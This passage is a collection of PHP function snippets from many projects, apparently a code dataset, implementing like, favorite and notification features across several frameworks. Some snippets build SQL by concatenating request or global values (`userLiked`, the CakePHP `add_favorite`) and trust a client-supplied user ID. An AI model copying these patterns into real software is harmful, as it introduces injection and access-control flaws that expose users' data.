SOCIAL_MSG_ERROR );\n\t\t}\n\n\t\t$view->call( __FUNCTION__, $likes );\n\t}", "public static function add_favorite() {\n header( 'HTTP/1.0 200 OK' );\n header( 'Content-Type: application/json' );\n\n $data = array();\n\n if( ! is_user_logged_in() ) {\n $data = array(\n 'success' => false,\n 'message' => __( 'You need to log in at first.', 'realia-favorites' ),\n );\n } else if ( ! empty( $_GET['id'] ) ) {\n $favorites = get_user_meta( get_current_user_id(), 'favorites', true );\n $favorites = ! is_array( $favorites ) ? array() : $favorites;\n\n if ( empty( $favorites ) ) {\n $favorites = array();\n }\n\n $post = get_post( $_GET['id'] );\n $post_type = get_post_type( $post->ID );\n\n if ( 'property' != $post_type ) {\n $data = array(\n 'success' => false,\n 'message' => __( 'This is not property ID.', 'realia-favorites' ),\n );\n } else {\n $found = false;\n\n foreach ( $favorites as $property_id ) {\n if ( $property_id == $_GET['id']) {\n $found = true;\n break;\n }\n }\n\n if ( ! $found ) {\n $favorites[] = $post->ID;\n update_user_meta( get_current_user_id(), 'favorites', $favorites );\n\n $data = array(\n 'success' => true,\n );\n } else {\n $data = array(\n 'success' => false,\n 'message' => __( 'Property is already in list', 'realia-favorites' ),\n );\n }\n }\n } else {\n $data = array(\n 'success' => false,\n 'message' => __( 'Property ID is missing.', 'realia-favorites' ),\n );\n }\n\n echo json_encode( $data );\n exit();\n }", "public function update(Request $request, UserFavorite $userFavorite)\n {\n //\n }", "function add_to_fav($id)\r\n\t{\r\n\t\t global $db;\r\n\t\t $id = mysql_clean($id);\r\n\t\t //First checking weather object exists or not\r\n\t\t if($this->exists($id))\r\n\t\t {\r\n\t\t\tif(userid())\r\n\t\t\t{\r\n\t\t\t\tif(!$this->fav_check($id))\r\n\t\t\t\t{\r\n\t\t\t\t\t\r\n\t\t\t\t\t$db->insert(tbl($this->fav_tbl),array('type','id','userid','date_added'),array($this->type,$id,userid(),NOW()));\r\n\t\t\t\t\taddFeed(array('action'=>'add_favorite','object_id' => $id,'object'=>'video'));\r\n\t\t\t\t\t//adding according to type\r\n\t\t\t\t\tswitch ($this->type) {\r\n\t\t\t\t\t\tcase 'cl':\r\n\t\t\t\t\t\t\t# code...\r\n\t\t\t\t\t\t\t$the_type = 'collection';\r\n\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\tcase 'p':\r\n\t\t\t\t\t\t\t# code...\r\n\t\t\t\t\t\t\t$the_type = 'photo';\r\n\t\t\t\t\t\t\tbreak;\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\tdefault:\r\n\t\t\t\t\t\t\t# code...\r\n\t\t\t\t\t\t\t$the_type = 'video';\r\n\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t}\r\n\r\n\t\t\t\t\t//Logging Favorite\r\n\t\t\t\t\t$log_array = array(\r\n\t\t\t\t\t\t'success'=>'yes',\r\n\t\t\t\t\t\t'details'=> \"added \".$this->name.\" to favorites\",\r\n\t\t\t\t\t\t'action_obj_id' => $id,\r\n\t\t\t\t\t\t'action_done_id' => $db->insert_id()\r\n\t\t\t\t\t);\r\n\t\t\t\t\tinsert_log($this->name.'_favorite',$log_array);\r\n\r\n\t\t\t\t\te('<div class=\"alert alert-success\">'.sprintf(lang('add_fav_message'), lang($this->name)).'</div>', \"m\" );\r\n\t\t\t\t} else {\r\n\t\t\t\t\te(sprintf(lang('already_fav_message'), lang($this->name)));\r\n\t\t\t\t}\r\n\t\t\t} else {\r\n\t\t\t\te(lang(\"you_not_logged_in\"));\r\n\t\t\t}\r\n\t\t } else {\r\n\t\t\t e(sprintf(lang(\"obj_not_exists\"),$this->name));\r\n\t\t }\r\n\t }", "public function broadcastOn()\n {\n return ['status-liked'];\n }", "public function actionFavorites()\n\t{\n\t\t// using the default layout 'protected/views/layouts/main.php'\n\t\t\n\t\t\t\n\t\t$unfavorite = Yii::app()->request->getParam('unfavorite');\n\t\t$user_id = Yii::app()->user->id;\n\t\t\n\n\t\tif($unfavorite && $user_id) {\n\t\t\t\n\t\t\t$record = Favorited::model()->findByAttributes(array('user_id' => $user_id, 'object_id' => $unfavorite));\n\t\t//\tdie(print_r($record));\n\t\t\tif($record)\n\t\t\t\t$record->delete();\n\t\t//\t$this->redirect('/cabinet/favorites');\n\t\t//\t Yii::app()->end();\n\n\t\t}\t\n\n\n\t\t\n\t\tif($user_id) {\n\t\t\t$cookie_favorite = Yii::app()->request->cookies['favorite']->value;\n\t\t\t$cookie_favorite = json_decode($cookie_favorite);\n\t\t\t\n\t\t\t$cookie_fav_wrap = array();\n\t\t\t\n\t\t\twhile ($fruit_name = current($cookie_favorite)) {\n\t\t\t if ($fruit_name == 1) {\n\t\t\t $cookie_fav_wrap[] = key($cookie_favorite);\n\t\t\t }\n\t\t\t next($cookie_favorite);\n\t\t\t}\n\t\t\t\n\t\t\tforeach($cookie_fav_wrap as $fav_item) {\n\t\t\t\t$favorite = Favorited::model()->findByAttributes(array('user_id' => $user_id, 'object_id' => $fav_item));\n\t\t\t\tif(!$favorite) {\n\t\t\t\t\t$record = new Favorited;\n\t\t\t\t\t$record->user_id = $user_id;\n\t\t\t\t\t$record->object_id = $fav_item;\n\t\t\t\t\t$record->save();\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\t//$this->checkUser();\n\t\t$favarray = array();\n\t\t\n\t\t$cookie_favorite = Yii::app()->request->cookies['favorite']->value;\n\t\t$cookie_favorite = json_decode($cookie_favorite);\n\t\t\n\t\t$cookie_fav_wrap = array();\n\t\t\n\t\t//echo print_r($cookie_favorite, true);\n\t\t\n\t\tforeach($cookie_favorite as $cookie_key => $cookie_value) {\n\t\t\t\n\t\t if ($cookie_value && $unfavorite != $cookie_key) {\n\t\t $cookie_fav_wrap[] = $cookie_key;\n\t\t }\n\t\t}\n\t\t\n\t\t\n\t\tforeach($cookie_fav_wrap as $fav_item) {\n\t\t\tif ($unfavorite != $fav_item) \n\t\t\t\t$favarray[] = $fav_item;\n\t\t\t\t\t\n\t\t}\n\t\t\n\t\t\n\t\t\t\t\t\n\t\t$order_dir = Yii::app()->request->getParam('dir', 'asc');\n\t\tif(!in_array($order_dir, array('desc','asc'))) {\n\t\t\t$order_dir = 'asc';\n\t\t}\n\t\t$order_field = Yii::app()->request->getParam('order', 'rooms');\n\t\tif(!in_array($order_field, array('rooms','square','cost'))) {\n\t\t\t$order_field = 'rooms';\n\t\t}\n\t\t\n\t\t\t\t\n\t\t$favorites = Favorited::model()->findAllByAttributes(array('user_id'=>Yii::app()->user->id));\n\t\n\t\tforeach($favorites as $fav) {\n\t\t\t$faved = Estate::model()->findByAttributes(array('id'=>$fav->object_id));\n\t\t\tif(!$faved)\t\n\t\t\t\t$fav->delete();\n\t\t\tif($fav->object_id == $unfavorite)\n\t\t\t\t$fav->delete();\n\t\t}\t\n\t\t\n\t\tif($favorites) {\n\t\t\t\n\t\t\t$cookie_fav_wrap = array();\n\t\t\tforeach($favorites as $favorite) {\n\t\t\t\tif($unfavorite != $favorite->object_id) {\n\t\t\t\t\t$favarray[] = $favorite->object_id;\n\t\t\t\t\t$cookie_fav_wrap[$favorite->object_id] = true;\n\t\t\t\t} else {\t\t\t\t\n\t\t\t\t\t$cookie_fav_wrap[$favorite->object_id] = false;\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\tunset(Yii::app()->request->cookies['favorite']);\t\n\t\t\tunset($_COOKIE['favorite']);\n\t\t\t$cookie_favorite = json_encode($cookie_fav_wrap);\n\t\t\t$cookie = new CHttpCookie('favorite',$cookie_favorite);\n\t\t\t$cookie->expire = time() + 2592000;\n\t\t\t$cookie->path = '/';\n\t\t\tYii::app()->request->cookies['favorite'] = $cookie;\n\n\t\t\t\n\t\t\t$objects = Estate::model()->findAllByAttributes(array('id'=>$favarray),array('order'=>$order_field.' '.$order_dir));\n\t\t\t\n\t\t} else {\n\t\t\tif(!$user_id && $unfavorite) {\n\t\t\t\tforeach($favarray as $favorite) {\n\t\t\t\t\t$cookie_fav_wrap[$favorite] = true;\n\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tunset(Yii::app()->request->cookies['favorite']);\t\n\t\t\t\tunset($_COOKIE['favorite']);\n\t\t\t\t$cookie_favorite = json_encode($cookie_fav_wrap);\n\t\t\t\t$cookie = new CHttpCookie('favorite',$cookie_favorite);\n\t\t\t\t$cookie->expire = time() + 2592000;\n\t\t\t\t$cookie->path = '/';\n\t\t\t\tYii::app()->request->cookies['favorite'] = $cookie;\n\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\t$objects = Estate::model()->findAllByAttributes(array('id'=>$favarray),array('order'=>$order_field.' '.$order_dir));\n\t\t\t\n\t\t}\n\n\t\t\n\t\t$this->render('favorites',array('objects'=>$objects,'order_field'=>$order_field,'order_dir'=>$order_dir));\n\t}", "public function user_can_add_news_into_favorite()\n {\n //Arrange\n $user = User::create([\n \"email\"=>\"[email protected]\",\n \"name\" =>\"test\",\n \"date_of_birth\"=>\"2000-12-12\",\n \"password\"=>bcrypt(\"12345678\")\n ]);\n $this->post('api/login',[\"email\"=>\"[email protected]\",\"password\"=>\"12345678\"]);\n\n //Act\n $response = $this->post('api/favorite',[\n \"url\"=>\"test.com\",\n \"urlToImage\"=>\"test.com/a.jpg\",\n \"title\"=>\"test\",\n \"description\"=>\"testing\",\n \"author\"=>\"tester\",\n \"publishedAt\"=>\"2001-12-12\"\n ]);\n \n $favorite = Favorite::where('url','test.com')->first();\n \n //Assert\n\n // Check a new record for the favorite inserted in the favorite table\n $this->assertDatabaseHas('favorites',['url'=>'test.com']);\n // Check a new record holds relation bewteen favorite and user\n $this->assertDatabaseHas('user_favorite',['user_id'=>$user->id,'favorite_id'=>$favorite->id]);\n $response->assertStatus(201);\n }", "public function like()\n {\n if (isLoggedIn() == false) {\n flash('login_to_post', 'Please, login to like post');\n redirect('/users/login');\n }\n\n if ($_SERVER['REQUEST_METHOD'] == 'GET') {\n\n // Sanitize array\n $_GET = filter_input_array(INPUT_GET, FILTER_SANITIZE_STRING);\n\n $data = [\n 'user_id' => $_SESSION['user_id'],\n 'post_id' => trim($_GET['id'])\n ];\n\n // Check if get request is correct\n if (!empty($data['post_id']) && !empty($data['user_id'])) {\n\n $post = $this->postModel->getPostById($data['post_id']);\n $user = $this->userModel->getUserById($data['user_id']);\n\n if ($post && $user) {\n $likes = $this->postModel->getLikesByUserId($data['user_id']);\n\n foreach ($likes as $like) {\n if ($like->post_id === $data['post_id']) {\n // Delete like if user pressed button twice\n $this->postModel->deleteLikeById($like->id);\n $this->postModel->postUpdateLikesCount($data['post_id']);\n redirect('/posts');\n exit;\n }\n }\n\n $this->postModel->like($data);\n $this->postModel->postUpdateLikesCount($data['post_id']);\n }\n }\n redirect('/posts');\n }\n }", "public function checklikes(){\n\t\tif ($_SERVER['REQUEST_METHOD'] == \"POST\") {\n\t\t\t$postid = $this->input->post(\"postid\");\n\t\t\t$userid = $this->input->post(\"userid\");\n\n\t\t\t$con = array('post_id'=>$postid,'user_id'=>$userid);\n\t\t\tif($this->get->read('post_likes',$con)){\n\t\t\t\techo json_encode(array('stat'=>'like'));\n\t\t\t}\n\t\t\telse{\n\t\t\t\techo json_encode(array('stat'=>'notlike'));\n\t\t\t}\n\t\t}\t\n\t\telse{\n\t\t\tredirect('error');\n\t\t}\n\t}", "public function likePostAction() {\n\n }", "function liked_notification_seen($pid, $uid) {\n\ttry{\n\t\t$db = \\Db::dbc();\n\n\t\t$sql = \"UPDATE `AIMER` SET `LUAIME`= CURRENT_TIMESTAMP WHERE `IDUSER` = :iduser AND `IDTWEET` = :idtweet\";\n\t\t$stmt = $db->prepare($sql);\n\t\t$result = $stmt->execute(\n\t\t\tarray(\n\t\t\t\t':iduser' => $uid,\n\t\t\t\t':idtweet' => $pid\n\t\t\t)\n\t\t);\n\t} catch (\\PDOException $e) {\n\t\techo $e->getMessage();\n\t}\n\t$db = NULL;\n}", "function like($idevent) {\n\n\t\t\t$method = WALL . \"/feeds/$idevent/like\";\n\n\t\t\t$verbmethod = \"POST\";\n\n\t\t\t$params = array();\n\n\t\t\t$params = array_filter($params, function($item) { return !is_null($item); });\n\n\t\t\t$response = $this->zyncroApi->callApi($method, $params, $verbmethod);\n\n\t\t\treturn $response;\n\t\t}", "public function favorite()\n {\n $attributes = ['user_id' => auth()->id()];\n\n if (! $this->favorites()->where($attributes)->exists()) {\n return $this->favorites()->create($attributes);\n }\n }", "public function actionLikes()\n {\n $faq_id = $this->_input->filterSingle('faq_id', XenForo_Input::STRING);\n $question = $this->_getQuestionModel()->getById($faq_id);\n\n if (!$question) {\n return $this->responseRedirect(XenForo_ControllerResponse_Redirect::SUCCESS, XenForo_Link::buildPublicLink('faq'));\n }\n\n $likes = $this->getModelFromCache('XenForo_Model_Like')->getContentLikes('xf_faq_question', $faq_id);\n\n if (!$likes) {\n return $this->responseError(new XenForo_Phrase('no_one_has_liked_this_post_yet'));\n }\n\n $viewParams = array(\n 'question' => $question,\n 'likes' => $likes\n );\n\n return $this->responseView('Iversia_FAQ_ViewPublic_PageLikes', 'iversia_faq_question_all_likes', $viewParams);\n }", "public function favorite(Request $request)\n {\n // check for login\n if(!Auth::user()){\n // error message\n Session::flash('error', 'Onbevoegde toegang');\n return redirect('/home');\n }\n\n // validate the form data that we got via POST request\n $this->validate($request, [\n 'favoriteCarId' => 'required|string'\n ]);\n \n // Get id of current car we are adding as favorite\n $favoriteCarId = $request->input('favoriteCarId');\n // find the current user by id and get his data\n $user = User::findOrFail(auth()->user()->id);\n // Get current favorites\n $userFavorites = json_decode($user->favorites);\n\n // if user does not have favorites create array of favorites and add the car to add\n if ($userFavorites == '' or $userFavorites == []){\n // add id to favorites when user has no favorites \n $userFavorites[] = $favoriteCarId;\n Session::flash('success', 'Aan favorieten toegevoegd');\n }\n //if user has favorites save the favorites\n else {\n // If the id already exists in favorites remove it\n if (in_array($favoriteCarId, $userFavorites)){\n // remove the id\n $userFavorites = array_diff($userFavorites, array($favoriteCarId));\n // Reindex the array\n $userFavorites = array_values($userFavorites);\n Session::flash('success', 'Uit favorieten verwijderd');\n }\n // If the id does not exist add to favorites\n else {\n $userFavorites[] = $favoriteCarId;\n Session::flash('success', 'Aan favorieten toegevoegd');\n }\n }\n\n // Save changes to database\n $user->favorites = json_encode($userFavorites, JSON_NUMERIC_CHECK);\n $user->save();\n\n //redirect\n return redirect()->route('occasions.index');\n }", "public function add_favorite() {\n\t\t\tif ($this->userInfo['users']['id']) {\n\t\t\t\t$uid = $this->userInfo['users']['id'];\n\t\t\t}\n\t\t\tif ($this->request->is('get')) {\n\t \t\t\t$user_id = $_GET['user_id'];\n\t\t\t\t$favorite = $_GET['favorite'];\n\t \t\t$content_id = $_GET['content_id'];\n\t\t\t\t$created = date(\"Y-m-d H:i:s\");\n\t\t\t\t$content_type = \"tweets\";\n\t\t\t\t$this->request->data = '';\n\t\t\t\t$this->loadModel('Favorite');\n\t\t\t\t$checkInDB = $this->Favorite->find('first',array('fields'=>array('Favorite.id'),'conditions'=>array('Favorite.content_id='.$content_id)));\n\t\t\t\tif ($checkInDB) {\n\t\t\t\t\t$id = $checkInDB['Favorite']['id'];\n\t\t\t\t\t$this->Favorite->id = $id;\n\t\t\t\t\t$this->request->data['Favorite']['created'] = $created;\n\t\t\t\t\t$this->request->data['Favorite']['favorite'] = $favorite;\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\t$this->request->data['Favorite']['user_id'] = $user_id;\n\t\t\t\t\t$this->request->data['Favorite']['content_type'] = $content_type;\n\t\t\t\t\t$this->request->data['Favorite']['content_id'] = $content_id;\n\t\t\t\t\t$this->request->data['Favorite']['created'] = $created;\n\t\t\t\t\t$this->request->data['Favorite']['favorite'] = $favorite;\n\t\t\t\t}\n\t\t\t\tif (ClassRegistry::init('Favorite')->save($this->request->data)){\n\t\t\t\t//echo \"field value saved\";\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\n\t\t\t\techo \"field value not saved\";\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\t$this->set('favorite',$favorite);\n\t\t\t$this->set('content_id',$content_id);\n\t\t\t$this->autorender = false;\n\t \t$this->layout = false;\n\t \t$this->render('add_favorite');\n\t\t}", "public function favorite($userId=null)\n {\n if (is_null($userId)) {\n $userId = Auth()->id();\n }\n \n if ($userId) {\n $favorite = $this->favorites()\n ->where('user_id', '=', $userId)\n ->first();\n \n if ($favorite) {\n return;\n }\n\n $favoriteClass = config('favorable.favorite_model');\n\n $favorite = new $favoriteClass();\n $favorite->user_id = $userId;\n $this->favorites()->save($favorite);\n }\n\n $this->incrementFavoriteCount();\n }", "public function likedUsers()\n\t{\n\t\tFoundry::checkToken();\n\n\t\t// Only registered users are allowed here.\n\t\tFoundry::requireLogin();\n\n\t\t// Check permission\n\t\t$access = Foundry::access();\n\n\t\t$id = JRequest::getInt( 'id', 0 );\n\n\t\t$likes = Foundry::likes( $id, 'comments' );\n\n\t\t$html = $likes->getLikedUsersDialog();\n\n\t\t$view = Foundry::view( 'comments', false );\n\n\t\t$view->call( __FUNCTION__, $html );\n\t}", "public function addToFavorites($data);", "public function LikePost($id)\n {\n //\n $user = PostController::GetUserByPostId($id);\n if(Auth::guest())\n return false;\n $past = Like::where(['type' => 'post', 'user_id' => Auth::user()->id, 'post_id' => $id])->get();\n\n if($past->count() > 0)\n return false;\n\n if($user == Auth::user()->id)\n return false;\n\n $like = new Like;\n $like->user_id = Auth::user()->id;\n $like->post_id = $id;\n $like->type = 'post';\n $like->save();\n\n NotificationController::store($user, $like);\n\n return 1;\n }", "public function setIsFavorite($value)\n {\n $this->setProperty(\"IsFavorite\", $value, true);\n }", "function userLiked($post_id)\n{\n global $conn;\n global $user_id;\n $sql = \"SELECT * FROM vote_info WHERE user_id=$user_id \n \t\t AND idea_id=$post_id AND vote_action='like'\";\n $result = mysqli_query($conn, $sql);\n if (mysqli_num_rows($result) > 0) {\n \treturn true;\n }else{\n \treturn false;\n }\n}", "public function isFavorited()\n {\n return $this->getData('isFavorited', false) === true;\n }", "function register_notification_interest($user_guid, $author_guid) {\n\treturn add_entity_relationship($user_guid, 'notify', $author_guid);\n}", "function userLiked($post_id)\r\n {\r\n $db = connect(); //Datenbank verbindung\r\n\r\n $userid = $_SESSION['userdata']['ID_User']; //ID des aktuellen User\r\n \r\n $sql = \"SELECT count(*) FROM liken WHERE User_ID = ? AND Post_ID = ?;\";\r\n $statement = $db->prepare($sql);\r\n $statement->bind_param('ii',$userid,$post_id);\r\n $statement->execute();\r\n $statement->bind_result($userLikeCheck);\r\n\r\n while($statement->fetch()){\r\n $check = array('userLike' => $userLikeCheck);\r\n }\r\n //Wen er den Beitrag schon geliket hat, wird true zurück gegeben\r\n if ($check['userLike'] == 1) {\r\n return true;\r\n }\r\n else{ //Wen er den BEitrag noch nich geliket hat, wird false zurück gegeben \r\n return false;\r\n }\r\n }", "public function isFavorited()\n {\n\n // NB FARE ATTENZIONE CHE SE VALORIZZIAMO CON IL QUERY BUILDER IL METODO WHERE VUOLE UN ARRAY KEY=>VALUE\n // MENTRE IL METODO WHERE DELLA COLLECTION VUOLE 2 PARAMETRI\n\n // Metodo via SQL - N+1 problem () ad ogni commento lancio la query per sapere se ho messo il like\n //return $this->favorites()->where(['user_id' => Auth::id()])->exists();\n\n // Metodo via Collection - NON HO IL N+1 problem () ad ogni commento NON lancio la query in quanto ho già i favorites precaricati tramite eagerLoad, quindi lavoro sulla collection per sapere se ho messo il like\n return !! $this->favorites->where('user_id', auth()->id())->count(); // !! inverto la negazione facendo il cast a boolean\n }", "function wpcom_vip_enable_likes() {\n\tadd_filter( 'wpl_is_likes_visible', '__return_true', 999 );\n}", "function bp_activity_action_remove_favorite() {\n\n\tif ( ! is_user_logged_in() || ! bp_is_activity_component() || ! bp_is_current_action( 'unfavorite' ) )\n\t\treturn false;\n\n\t// Check the nonce\n\tcheck_admin_referer( 'unmark_favorite' );\n\n\tif ( bp_activity_remove_user_favorite( bp_action_variable( 0 ) ) )\n\t\tbp_core_add_message( __( 'Activity removed as favorite.', 'buddypress' ) );\n\telse\n\t\tbp_core_add_message( __( 'There was an error removing that activity as a favorite, please try again.', 'buddypress' ), 'error' );\n\n\tbp_core_redirect( wp_get_referer() . '#activity-' . bp_action_variable( 0 ) );\n}", "public function add( $args, $assoc_args ) {\n\t\t$user = $this->get_user_id_from_identifier( $assoc_args['user-id'] );\n\n\t\t// Check if topic exists.\n\t\t$topic_id = $assoc_args['topic-id'];\n\t\tif ( ! bbp_is_topic( $topic_id ) ) {\n\t\t\t\\WP_CLI::error( 'No topic found by that ID.' );\n\t\t}\n\n\t\t// True if added.\n\t\tif ( bbp_add_user_favorite( $user->ID, $topic_id ) ) {\n\t\t\t\\WP_CLI::success( 'Favorite successfully added.' );\n\t\t} else {\n\t\t\t\\WP_CLI::error( 'Could not add favorite.' );\n\t\t}\n\t}", "public function favorite($userId=null)\n\t{\n\t\tif(is_null($userId)) {\n\t\t\t$userId = $this->loggedInUserId();\n\t\t}\n\n\t\tif($userId) {\n\t\t\t$favorite = $this->favorites()\n\t\t\t\t->where('user_id', '=', $userId)\n\t\t\t\t->first();\n\n\t\t\tif($favorite) return;\n\n\t\t\t$favorite = new Favorite();\n\t\t\t$favorite->user_id = $userId;\n\t\t\t$this->favorites()->save($favorite);\n\t\t}\n\n\t\t$this->incrementFavoriteCount();\n\t}", "public function accept_friend_request()\n {\n //update status to 1;\n $this->Friend_model->accept_friend_request_model();\n //two (perhaps more in the future) data rows are inserted into checked_on table where each one corresponds to the time the user has seen the other user's messages\n $this->Friend_model->insert_notifications_model();\n }", "public function favourite()\n {\n return $this->belongsToMany('App\\User', 'favourite', 'media_id', 'user_id');\n }", "public function update(Request $request, Favorite $favorite)\n {\n //\n }", "public function update(Request $request, Favorite $favorite)\n {\n //\n }", "public function like(Request $request)\n {\n // Validate data\n $request->validate([\n 'posts_id' => 'required|numeric',\n 'dislike' => 'required|numeric'\n ]);\n\n // Update or create\n $like = Likes::updateOrCreate([\n 'user_id' => auth()->user()->id,\n 'posts_id' => $request->posts_id,\n 'comments_id' => null,\n 'dislike' => $request->dislike\n ]);\n \n return $this->successResponse($like);\n }", "public function reaction(Request $request, KanbanItem $kanbanItem)\n {\n abort_unless( $kanbanItem->isAccessible(), 403);\n\n $input = $this->validateRequest();\n //todo: use reaction_type 'like'...\n if (Like::has($kanbanItem, auth()->user())){\n Like::remove($kanbanItem, auth()->user()); // unmarks the $kanbanItem liked for the given user\n } else {\n Like::add($kanbanItem, auth()->user()); // marks the $kanbanItem liked for the given user\n }\n\n if (request()->wantsJson()) {\n if (!pusher_event(new \\App\\Events\\Kanbans\\KanbanItemUpdatedEvent($kanbanItem)))\n {\n return [\n 'user' => auth()->user()->only(['id', 'firstname', 'lastname']),\n 'message' => KanbanItem::where('id', $kanbanItem->id)\n ->with([\n 'likes',\n ])->get()->first(),\n ];\n }\n }\n }", "public function globallikesAction() {\n\t$viewer = Engine_Api::_()->user()->getViewer();\n\t// GET THE CURRENT UESRID\n\t$loggedin_user_id = $viewer->getIdentity();\n\tif (empty($loggedin_user_id)) {\n\t return;\n\t}\n\t$ad_id = $this->_getParam('ad_id');\n\t$core_like = $this->_getParam('core_like');\n\t$ad_id = Engine_Api::_()->communityad()->getEncodeToDecode($ad_id);\n\t$resource_type = $this->_getParam('resource_type');\n\t// Make an 'Item Type' acording to the resource type.\n\t$resource_info = Engine_Api::_()->getDbtable('modules', 'communityad')->getModuleInfo($resource_type);\n\tif (!empty($resource_info)) {\n\t $resource_type = $resource_info['table_name'];\n\t}\n\t$resource_id = $this->_getParam('resource_id');\n\t$owner_id = $this->_getParam('owner_id');\n\t$like_id = $this->_getParam('like_id');\n\t$resource_obj = Engine_Api::_()->getItem($resource_type, $resource_id); // Resource Object.\n\t$is_like = Engine_Api::_()->getDbtable('likes', 'core')->getLike($resource_obj, $viewer); // Check from 'core_likes'.\n\t//Conditioon: If advertisment is not liked before.\n\tif (empty($like_id)) {\n\t //CHECKING IF USER HAS MAKING DUPLICATE ENTRY OF LIKING AN APPLICATION.\n\t $userads = Engine_Api::_()->getItem('userads', $ad_id);\n\t $like_id_temp = Engine_Api::_()->communityad()->check_availability($ad_id);\n\t if (empty($like_id_temp[0]['like_id']) || !empty($userads->story_type)) {\n\n\t\t// Condition : Only for 'Group' & 'Event' for the 'Activity Like'.\n\t\tif ($resource_type == 'group' || $resource_type == 'event') {\n\t\t $activityTable = Engine_Api::_()->getDbtable('actions', 'activity');\n\t\t $activityTableName = $activityTable->info('name');\n\t\t // Queary: Check that entry are already in data base or not.\n\t\t $selectContainer = $activityTable->select()\n\t\t\t\t\t\t ->from($activityTableName, array('action_id', 'like_count'))\n\t\t\t\t\t\t ->where('object_type =?', $resource_type)\n\t\t\t\t\t\t ->where('object_id =?', $resource_id)\n\t\t\t\t\t\t ->where('type =?', $resource_type . '_create')\n\t\t\t\t\t\t ->limit(1);\n\t\t $fetchPagesettings = $selectContainer->query()->fetchAll();\n\t\t if (!empty($fetchPagesettings)) {\n\t\t\t$activityTable->update(array('like_count' => $fetchPagesettings[0]['like_count'] + 1), array('action_id =?' => $fetchPagesettings[0]['action_id']));\n\t\t\t$activityTable = Engine_Api::_()->getDbtable('likes', 'activity');\n\t\t\t$likeActivity = $activityTable->createRow();\n\t\t\t$likeActivity->resource_id = $fetchPagesettings[0]['action_id'];\n\t\t\t$likeActivity->poster_type = $viewer->getType();\n\t\t\t$likeActivity->poster_id = $viewer->getIdentity();\n\t\t\t$likeActivity->save();\n\t\t }\n\t\t}\n\n\t\t$likesTable = Engine_Api::_()->getDbTable('likes', 'communityad');\n\t\t$isExist = $likesTable->isExist($ad_id, $viewer->getIdentity());\n\n\n\t\t// Increase the \"Click Count of the Sponsored story\"\n\t\tif( !empty($userads->story_type) ) {\n\t\t Engine_Api::_()->communityad()->ad_clickcount($ad_id, 0);\n\t\t}\n\n\n\t\tif (empty($userads->story_type) && empty($isExist)) {\n\t\t $likeTableData = $likesTable->createRow();\n\t\t $likeTableData->poster_id = $viewer->getIdentity();\n\t\t $likeTableData->ad_id = $ad_id;\n\t\t //DATA CAN SAVE IN THE TABLE\n\t\t $like_id = $likeTableData->save();\n\t\t}\n\n\t\t// Condition: If content is not 'Like' then insert row in 'like' table and from 'Notification' table.\n\t\tif (empty($is_like)) {\n\t\t if ( !empty($resource_obj) && !empty($viewer) && Engine_Api::_()->getDbtable('modules', 'core')->isModuleEnabled('sitelike')) {\n\t\t Engine_Api::_()->sitelike()->setLikeFeed($viewer, $resource_obj);\n\t\t }\n\n\t\t $likeTable = Engine_Api::_()->getItemTable('core_like');\n\t\t $likeData = $likeTable->createRow();\n\t\t $likeData->resource_type = $resource_type;\n\t\t $likeData->resource_id = $resource_id;\n\t\t $likeData->poster_type = $viewer->getType();\n\t\t $likeData->poster_id = $viewer->getIdentity();\n\t\t $likeData->save();\n\t\t //DATA CAN SAVE IN THE TABLE\n\t\t // Queary: For insert data in 'notification' table for display notifications of the advertisment owner.\n\t\t if (!empty($owner_id) && $owner_id != $viewer->getIdentity()) {\n\t\t\t$notify_table = Engine_Api::_()->getDbtable('notifications', 'activity');\n\t\t\t$label = '{\"label\":\"' . $resource_type . '\"}';\n\n\t\t\t$notifyData = $notify_table->createRow();\n\t\t\t$notifyData->user_id = $owner_id;\n\t\t\t$notifyData->subject_type = $viewer->getType();\n\t\t\t$notifyData->subject_id = $viewer->getIdentity();\n\t\t\t$notifyData->object_type = $resource_type;\n\t\t\t$notifyData->object_id = $resource_id;\n\t\t\t$notifyData->type = 'liked';\n\t\t\t$notifyData->params = $label;\n\t\t\t$notifyData->date = date('Y-m-d h:i:s', time());\n\t\t\t$notifyData->save();\n\t\t }\n\t\t}\n\n\t\t// Increase 'Count' in userad table.\n\t\t$userads->count_like = $userads->count_like + 1;\n\t\t$userads->save();\n\n\t\t//PASS THE VALUE TO .TPL FILE\n\t\t$sendLikeResponced = $like_id;\n\t\tif (!empty($userads->story_type)) {\n\t\t $sendLikeResponced = 1;\n\t\t}\n\t\t$this->view->like_id = $sendLikeResponced;\n\t\t$like_msg = 'Successfully Liked.';\n\t } else {\n\t\t$this->view->like_id = $like_id_temp[0]['like_id'];\n\t }\n\t} else { // Condition: If 'Like' before then delete from tables.\n\t // Condition: Only in the case of group and event delete from activity like.\n\t if ($resource_type == 'group' || $resource_type == 'event') {\n\t\t$activityTable = Engine_Api::_()->getDbtable('actions', 'activity');\n\t\t$activityTableName = $activityTable->info('name');\n\t\t// Queary: Check that entry are already in data base or not.\n\t\t$selectContainer = $activityTable->select()\n\t\t\t\t\t\t->from($activityTableName, array('action_id', 'like_count'))\n\t\t\t\t\t\t->where('object_type =?', $resource_type)\n\t\t\t\t\t\t->where('object_id =?', $resource_id)\n\t\t\t\t\t\t->where('type =?', $resource_type . '_create')\n\t\t\t\t\t\t->limit(1);\n\t\t$fetchPagesettings = $selectContainer->query()->fetchAll();\n\t\tif (!empty($fetchPagesettings) && empty($core_like)) {\n\t\t $activityPosterType = $fetchPagesettings[0]['action_id'];\n\t\t Engine_Api::_()->getDbtable('likes', 'activity')->delete(array('resource_id =?' => $activityPosterType, 'poster_type =?' => $viewer->getType(), 'poster_id =?' => $viewer->getIdentity()));\n\t\t $activityTable->update(array('like_count' => $fetchPagesettings[0]['like_count'] - 1), array('action_id =?' => $fetchPagesettings[0]['action_id']));\n\t\t}\n\t }\n\n\t // Increase 'Count' in userad table.\n\t $userads = Engine_Api::_()->getItem('userads', $ad_id);\n\t $userads->count_like = $userads->count_like - 1;\n\t $userads->save();\n\n\t // Delete from 'communityad_like' table.\n\t if 